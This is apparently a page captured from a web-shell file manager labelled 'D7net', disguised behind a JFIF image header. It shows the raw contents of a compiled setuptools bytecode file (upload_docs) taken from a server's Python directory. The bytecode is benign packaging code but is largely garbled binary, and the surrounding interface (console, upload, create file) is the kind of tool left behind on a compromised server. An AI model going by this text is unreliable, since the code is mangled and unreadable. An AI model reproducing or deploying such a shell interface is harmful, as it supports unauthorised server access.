����JFIF���������
1#@!#!123s
D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
usr
/
lib
/
python3.8
/
site-packages
/
setuptools
/
command
/
__pycache__
/
Filename :
upload_docs.cpython-38.opt-1.pyc
back
Copy
U �����Qab�����������������������@���s����d�Z�ddlmZ�ddlmZ�ddlmZ�ddlZddlZddl Z ddl Z ddlZddlZddl Z ddlmZ�ddlmZmZ�ddlmZ�d d lmZ�dd��ZG�d d��de�ZdS�)zpupload_docs Implements a Distutils 'upload_docs' subcommand (upload documentation to PyPI's pythonhosted.org). �����)�standard_b64encode)�log)�DistutilsOptionErrorN)�six)�http_client�urllib)�iter_entry_points����)�uploadc�����������������C���s���t�jr dnd}|��d|�S�)N�surrogateescape�strictzutf-8)r����PY3�encode)�s�errors��r����B/usr/lib/python3.8/site-packages/setuptools/command/upload_docs.py�_encode���s����r���c�������������������@���s����e�Zd�ZdZdZdddej�fddgZejZdd ��Zd efgZ dd��Z d d��Zdd��Zdd��Z edd���Zedd���Zdd��ZdS�)�upload_docszhttps://pypi.python.org/pypi/zUpload documentation to PyPIzrepository=�rzurl of repository [default: %s])z show-responseNz&display full response text from server)zupload-dir=Nzdirectory to uploadc�����������������C���s"���|�j�d�krtdd�D�]}�dS�d�S�)Nzdistutils.commands�build_sphinxT)� upload_dirr���)�selfZepr���r���r���� has_sphinx/���s���� zupload_docs.has_sphinxr���c�����������������C���s���t��|���d�|�_d�|�_d�S�)N)r ����initialize_optionsr���� target_dir)r���r���r���r���r���6���s���� zupload_docs.initialize_optionsc�����������������C���s����t��|���|�jd�krN|����r0|��d�}|j|�_q`|��d�}tj� |j d�|�_n|��d��|�j|�_d|�jkrtt �d��|��d|�j���d�S�)Nr����buildZdocsr���zpypi.python.orgz3Upload_docs command is deprecated. Use RTD instead.zUsing upload directory %s)r ����finalize_optionsr���r���Zget_finalized_commandZbuilder_target_dirr����os�path�joinZ build_baseZensure_dirname� repositoryr����warn�announce)r���r���r���r���r���r���r���;���s���� zupload_docs.finalize_optionsc�����������������C���s����t��|d�}z�|��|�j��t�|�j�D�]x\}}}||�jkrP|sPd}t||�j���|D�]H}tj� ||�}|t |�j�d����tjj�} tj� | |�} |� || ��qTq&W�5�|����X�d�S�)N�wz'no files found in upload directory '%s')�zipfileZZipFile�closeZmkpathr���r����walkr���r���r ����len�lstrip�sep�write)r����filename�zip_file�root�dirs�filesZtmpl�nameZfull�relative�destr���r���r����create_zipfileK���s����zupload_docs.create_zipfilec�������������� ���C���sh���|�����D�]}|��|��qt���}|�jj���}tj� |d|��}z|��|��|�� |��W�5�t �|��X�d�S�)Nz%s.zip)Zget_sub_commandsZrun_command�tempfileZmkdtemp�distribution�metadata�get_namer���r���r ����shutilZrmtreer4����upload_file)r���Zcmd_nameZtmp_dirr1���r-���r���r���r����run[���s���� zupload_docs.runc�����������������c���s����|�\}}d|�}t�|t�s |g}|D�]f}t�|t�rL|d|d��7�}|d�}nt|�}|V��t|�V��dV��|V��|r$|dd���dkr$dV��q$d�S�) Nz* Content-Disposition: form-data; name="%s"z; filename="%s"r���r ���s��� ������� ���� )� isinstance�list�tupler���)�item�sep_boundary�key�values�title�valuer���r���r����_build_parti���s���� zupload_docs._build_partc�����������������C���sn���d}d|�}|d�}|df}t�j|�j|d�}t||����}tj�|�}t�||�} d|�d��} d� | �| fS�) z= Build up the MIME payload for the POST data s3���--------------GHSKFJDLGDS7543FJKLFHRE75642756743254s��� --s���--r>���)rC���z multipart/form-data; boundary=%s�ascii�����) � functools�partialrH����map�items� itertools�chain� from_iterable�decoder ���)�cls�data�boundaryrC���Zend_boundaryZ end_itemsZbuilderZpart_groups�partsZ body_items�content_typer���r���r����_build_multipart}���s�����zupload_docs._build_multipartc�������������� ���C���s:��t�|d��}|���}W�5�Q�R�X�|�jj}d|���tj�|�|fd�}t|�j d�|�j ��}t|�}tj rn|�d�}d|�}|��|�\}} d|�j�} |��| tj��tj�|�j�\}}} }}}|dkr�t�|�}n |d kr�t�|�}ntd |���d}zZ|����|�d| ��| }|�d |��|�dtt|����|�d|��|� ���|�!|��W�n>�t"j#k �r��}�z|��t|�tj$��W�Y��d�S�d�}~X�Y�nX�|�%��}|j&dk�r�d|j&|j'f�} |��| tj��nb|j&dk�r�|�(d�}|d�k�r�d|����}d|�} |��| tj��nd|j&|j'f�} |��| tj$��|�j)�r6t*d|���d��d�S�)N�rbZ doc_upload)z:actionr1����content�:rI���zBasic zSubmitting documentation to %sZhttpZhttpszunsupported schema ��ZPOSTzContent-typezContent-lengthZ Authorization�����zServer response (%s): %si-��ZLocationzhttps://pythonhosted.org/%s/zUpload successful. Visit %szUpload failed (%s): %szK---------------------------------------------------------------------------)+�open�readr6���r7���r8���r���r����basenamer���ZusernameZpasswordr���r���r ���rR���rX���r!���r#���r����INFOr����parseZurlparser���ZHTTPConnectionZHTTPSConnection�AssertionErrorZconnectZ putrequestZ putheader�strr(���Z endheaders�send�socket�errorZERRORZgetresponseZstatus�reasonZ getheaderZ show_response�print)r���r,����frZ����metarT���ZcredentialsZauthZbodyZct�msgZschemaZnetlocZurlZparamsZqueryZ fragmentsZconnrW����er����locationr���r���r���r:�������sb����� � zupload_docs.upload_fileN)�__name__� __module__�__qualname__ZDEFAULT_REPOSITORY�descriptionr ���Zuser_optionsZboolean_optionsr���Zsub_commandsr���r���r4���r;����staticmethodrH����classmethodrX���r:���r���r���r���r���r������s(����� r���)�__doc__�base64r���Z distutilsr���Zdistutils.errorsr���r���rf���r%���r5���r9���rO���rK���Zsetuptools.externr���Zsetuptools.extern.six.movesr���r���Z pkg_resourcesr���r ���r���r���r���r���r���r����<module>���s ���